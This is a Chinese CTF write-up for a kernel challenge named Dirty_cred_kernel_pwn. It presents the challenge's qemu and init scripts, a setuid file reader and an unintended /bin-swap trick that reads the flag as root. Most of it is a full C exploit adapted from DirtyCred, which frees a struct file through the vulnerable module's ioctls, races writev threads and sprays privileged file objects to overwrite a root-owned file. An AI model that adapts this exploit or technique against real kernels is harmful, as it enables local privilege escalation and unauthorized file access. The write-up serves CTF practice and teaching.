目录

Dirty_cred_kernel_pwn

附件下载

1
2
链接:https://pan.baidu.com/s/1fzaxcbJEB04Xea1h1HnKmA?pwd=evqc 
提取码:evqc 

start.sh

两核四线程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append 'root=/dev/ram console=ttyS0 oops=panic panic=1 nokaslr' \
    -monitor /dev/null \
    -cpu kvm64,+smep \
    -monitor /dev/null \
    -smp cores=2,threads=4 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -enable-kvm \
    --no-reboot \
    -s

init

insmod了/usr/fileManager.ko 有一个read_file文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /usr/fileManager.ko
chmod 666 /dev/fileManager
chmod 600 /flag
chmod 755 /read_file
chmod u+s /read_file
echo 2000 > /proc/sys/fs/nr_open
echo -n "/read_file.c" > /happy
chmod 644 /happy
chmod 644 /read_file.c
poweroff -d 600 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f

read_file.c

读取/happy文件内容,并将其作为参数,读取参数内容,若是能控制/happy文件的内容的话,就可以做到任意文件读

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#define _GNU_SOURCE
#include<stdio.h>
#include<unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char const *argv[])
{
	setresuid(0,0,0);
	setresgid(0,0,0);
	int fd = open("/happy",O_RDONLY);
	char buffer[1024] = {0};
	read(fd, buffer, 1024);
	close(fd);
	int fd2 = open(buffer,O_RDONLY);
	memset(buffer, 0, 1024);
	read(fd2, buffer, 1024);
	puts(buffer);
	close(fd2);
	return 0;
}

ko

有着一个很明显的struct file uaf,因此第一时间想到了dirty_cred 方法

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com/image/20231126005130.png

非预期

由于没有很好的控制权限,因此可以非预期

1
2
mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/umount && /BIN/chmod 777 /bin/umount
exit

init文件修复

添加

1
2
3
4
5
chown root:root /*
chown root:root .
chmod 755 .
chmod 755 /*
chmod 777 /tmp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /usr/fileManager.ko
chown root:root /*
chown root:root .
chmod 755 .
chmod 755 /*
chmod 666 /dev/fileManager
chmod 600 /flag
chmod 755 /read_file
chmod 777 /tmp
chmod u+s /read_file
echo 2000 > /proc/sys/fs/nr_open
echo -n "/read_file.c" > /happy
chmod 644 /happy
chmod 644 /read_file.c
poweroff -d 600 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f

正常做

直接修改dirty_cred脚本即可,细节待补充 https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20231126011723-481.png

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
// gcc -static -pthread ./exploit -o ./exploit
#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>

#include <linux/bpf.h>
#include <linux/kcmp.h>

#include <linux/capability.h>

static void die(const char *fmt, ...) {
  va_list params;

  va_start(params, fmt);
  vfprintf(stderr, fmt, params);
  va_end(params);
  exit(1);
}
// use_temporary_dir() —— setup working dir, create writable file "./exp_dir/data"
static void use_temporary_dir(void) {
    chdir("/tmp");
  system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
  char *tmpdir = "exp_dir";
  if (!tmpdir)
    exit(1);
  if (chmod(tmpdir, 0777))
    exit(1);
  if (chdir(tmpdir))  // set current work dir
    exit(1);
}
// write_file() —— write sysctl file
static bool write_file(const char *file, const char *what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

static void setup_common() {
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void loop();
// sandbox_common() —— setup sub-process parameter (memory / namespace / msg)
static void sandbox_common() {
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setsid();   // 调用 setsid() 后 namespace_sandbox_proc() 子进程不受终端影响,终端退出,不影响子进程继续运行
  struct rlimit rlim;   // setrlimit() - https://blog.csdn.net/sinat_38816924/article/details/122241661
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);              // 进程的虚拟内存(地址空间)的最大大小
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);         // 锁定到RAM中的最大内存字节数
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);           // 该进程可能创建的文件的最大大小(以字节为单位)
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);           // 最大的进程堆栈,以字节为单位
  rlim.rlim_cur = rlim.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &rlim);            // 内核转存文件的最大长度
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);          // 指定比进程可打开的最大文件描述符数量,超出此值,将会产生EMFILE错误
  if (unshare(CLONE_NEWNS)) {         // unshare() - https://man7.org/linux/man-pages/man2/unshare.2.html
  }                                   // CLONE_NEWNS - the calling process has a private copy of its namespace which is not shared with any other process
  if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
  }
  if (unshare(CLONE_NEWIPC)) {        // CLONE_NEWIPC - the calling process has a private copy of the IPC namespace which is not shared with any other process
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {        // CLONE_NEWUTS - the calling process has a private copy of the UTS namespace which is not shared with any other process
  }
  if (unshare(CLONE_SYSVSEM)) {       // CLONE_SYSVSEM - the calling process has a new empty semadj list that is not shared with any other process
  }
  typedef struct {
    const char *name;
    const char *value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},    // 定义单个共享内存段的最大值 https://blog.csdn.net/shmily_lsl/article/details/103384366
      {"/proc/sys/kernel/shmall", "536870912"},   // 控制可以使用的共享内存的总页数
      {"/proc/sys/kernel/shmmni", "1024"},        // 设置系统范围内共享内存段的最大数量。该参数的默认值是 4096
      {"/proc/sys/kernel/msgmax", "8192"},        // 一个消息的字节大小
      {"/proc/sys/kernel/msgmni", "1024"},        // 系统范围内的消息队列上限
      {"/proc/sys/kernel/msgmnb", "1024"},        // 一个消息队列的容量,最大字节数
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, // 每个信号集中的最大信号量数目; 系统范围内的最大信号量总数目; 每个信号发生时的最大系统操作数目; 系统范围内的最大信号集总数目
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid) {
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
// sub-process
static int namespace_sandbox_proc() {
  sandbox_common();     // setup sub-process parameter (memory / namespace / msg)
  loop();               // main exploit
}
// create sub-process to escalate privilege and check whether the "/etc/passwd" is changed
static int do_sandbox_namespace() {
  setup_common();       // no use
  real_uid = getuid();  // no use
  real_gid = getgid();  // no use
  mprotect(sandbox_stack, 4096, PROT_NONE);

  while (1) {
    int pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
              CLONE_NEWUSER | CLONE_NEWPID, 0);
    int ret_status = wait_for_loop(pid);
    if (ret_status == 0) {
      printf("[!] succeed\n");
      sleep(1);
      printf("[*] checking /happy\n\n");
      printf("[*] executing command : head -n 5 /happy\n");
      sleep(1);
      system("head -n 5 /happy");
      return 1;
    } else {
      printf("[-] failed to write, retry...\n\n");
      sleep(3);
    }
  }
}

// ===========================

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define MAX_FILE_NUM 1000
int uaf_fd = -1;
int fds[MAX_FILE_NUM];

int run_write = 0;  // make thread 1 get lock first, then thread 2
int run_spray = 0;  // make thread 2 allocate unprivileged object first, then thread 3
// slow_write() —— thread 1: occupy the write lock, and write plenty of data
void *slow_write() {
  printf("[*] start slow write to get the lock %d\n",uaf_fd);
  int fd = open("./uaf", 1);

  if (fd < 0) {
    perror("error open uaf file");
    exit(-1);
  }

  unsigned long int addr = 0x30000000;
  int offset;
  for (offset = 0; offset < 0x80000; offset++) {
    void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
                   PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    if (r < 0) 
      printf("allocate failed at 0x%x\n", offset);
  }

  assert(offset > 0);

  void *mem = (void *)(addr);
  memcpy(mem, "hhhhh", 5);
  // send 5 write address to trigger writev (vector write), that can be blocked
  struct iovec iov[5];
  for (int i = 0; i < 5; i++) {
    iov[i].iov_base = mem;
    iov[i].iov_len = (offset - 1) * 0x1000;
  }

  run_write = 1;    // thread 2 can begin
  if (writev(fd, iov, 5) < 0)
    perror("slow write");
  printf("[*] write done!\n");
}
// write_cmd() —— thread 2: write evil data to the privileged file
void *write_cmd() {
  char data[1024] = "/flag\x00\x00\x00";     // hacker❌0:0:root:/:/bin/sh    \nDirtyCred works!\n\n   
  struct iovec iov = {.iov_base = data, .iov_len = 8};

  while (!run_write) {
    printf("run_wriet:%d:\n",run_write);
  }
  run_spray = 1;   // thread 3 can begin
  if (writev(uaf_fd, &iov, 1) < 0)
    printf("failed to write\n");
  printf("[*] overwrite done! It should be after the slow write\n");
}
// spray_files() —— thread 3: spray high privileged file object
int spray_files() {
    while (!run_spray) {
        printf("run_spray:%d:\n",run_spray);
    }
    int found = 0;
    // spray priviledged file object
    printf("[*] got uaf fd %d, start spray....\n", uaf_fd);
    // getchar();
    for (int i = 0; i < 1000; i++) {
        fds[i] = open("/happy", O_RDONLY);
        if (fds[i] < 0) {
            perror("open file");
            printf("%d\n", i);
        }  // kcmp - 确定两个已经打开的文件描述符(可能来自不同的进程)是否指向内核中的同一个已打开的文件
            // int kcmp(pid_t pid1, pid_t pid2, int type, unsigned long idx1, unsigned long idx2);
            // 若为同一文件,则表示 file 对象已成功替换
        if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) {
            found = 1;
            printf("[!] found, file id %d\n", i);
            for (int j = 0; j < i; j++)
                close(fds[j]);
            break;
        }
    }

    if (found) {
        sleep(4);
        return 0;
    }
    return -1;
}
// trigger() —— trigger UAF to free the unprivileged file object
void trigger() {
//   int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
//   if (fs_fd < 0) {
//     perror("fsopen");
//     die("");
//   }

  symlink("./data", "./uaf");   // symbol link ./uaf -> ./data, to avoid the lock in __fdget_pos() before permission check

//   uaf_fd = open("./uaf", 1);
//   if (uaf_fd < 0) 
//     die("failed to open symbolic file\n");

//   if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {      // FSCONFIG_SET_FD = 5
//     perror("fsconfig");
//     exit(-1);
//   }
//   // free the uaf fd
//   close(fs_fd);
    int fs_fd = open("/dev/fileManager",0);
    if(fs_fd < 0){
        perror("open");
        return -1;
    }
    uaf_fd = open("./uaf",1);
    if (uaf_fd < 0) 
        die("failed to open symbolic file\n");
    ioctl(fs_fd,0x5555,uaf_fd);
    ioctl(fs_fd,0x6666,uaf_fd);

}
// loop() —— main exploit
void loop() {
  trigger();                                        // trigger UAF to free the unprivileged file object

  pthread_t p_id;
  pthread_create(&p_id, NULL, slow_write, NULL);    // thread 1: occupy the write lock 

  pthread_t p_id_cmd;
  pthread_create(&p_id_cmd, NULL, write_cmd, NULL); // thread 2: wait for the write lock to an unprivileged file 
  exit(spray_files());                              // thread 3: spray high privileged file object
}

int main(void) {
  syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);     // void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)
  syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
  syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
  use_temporary_dir();   // setup workdir in ./exp_dir/
  do_sandbox_namespace();// create sub-process to escalate privilege and check whether the "/etc/passwd" is changed
  return 0;
}